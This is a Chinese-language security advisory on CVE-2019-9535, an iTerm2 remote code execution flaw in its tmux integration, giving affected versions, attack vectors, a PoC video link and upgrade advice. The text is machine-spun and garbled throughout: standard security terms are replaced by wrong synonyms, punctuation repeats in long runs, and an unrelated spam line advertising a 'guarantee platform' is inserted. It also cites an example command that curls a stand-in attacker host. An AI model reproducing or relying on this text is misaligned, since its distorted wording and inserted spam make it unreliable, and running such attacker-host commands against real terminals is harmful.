iTerm2远程代码执行误差清静通告

宣布时间 2019-10-10

误差编号和级别


CVE编号：CVE-2019-9535，，，，，危险级别：高危，，，，，CVSS分值：官方未评定


影响版本


iTerm2 3.3.5之前的所有版本均受误差影响


误差概述


iTerm2 是全球最热门的终端模拟器之一，，，，，是开发职员经常使用的 MacOS 终端工具，，，，，是Mac 内置终端 app 最有力的热门开源工具替换品之一，，，，，被许多开发职员称为“Mac 终端利器”。。。。。。


iTerm2官方宣布了清静更新修复了一个至少保存7年的远程代码执行误差，，，，，这个误差源自 iTerm2 中的 tmux 集乐成能。。。。。。Tumx 应用程序是一款终端多路复用器，，，，，可允许从单个装备建设并控制多个终端。。。。。。


攻击者可以在用户的终端爆发输出，，，，，潜在的攻击向量包括通过 ssh 毗连至恶意效劳器，，，，，通过curl 获取恶意网站，，，，，或者通过 tail –f 跟踪包括某些恶意内容的日志文件。。。。。。例如：curl http://attacker.com and tail -f /var/log/apache2/referer_lo。。。。。。在许多情形下能够在用户盘算机上执行下令。。。。。。


误差验证


外洋的Radially Open Security已经放出误差使用乐成的视频：https://ffp4g1ylyit3jdyti1hqcvtb-wpengine.netdna-ssl.com/security/files/2019/10/cve-2019-9535.webm?_=3。。。。。。模拟受害者机械毗连到恶意 SSH 效劳器之后，，，，，在机械上执行翻开一个盘算器下令的PoC 视频。。。。。。


鉴黑担保网(jhdbw)·最具权威唯一维权担保平台



修复建议


官方已经推出清静更新，，，，，请更新至iTerm2到3.3.6版本：https://iterm2.com/downloads.html。。。。。。


参考链接


https://blog.mozilla.org/security/2019/10/09/iterm2-critical-issue-moss-audit/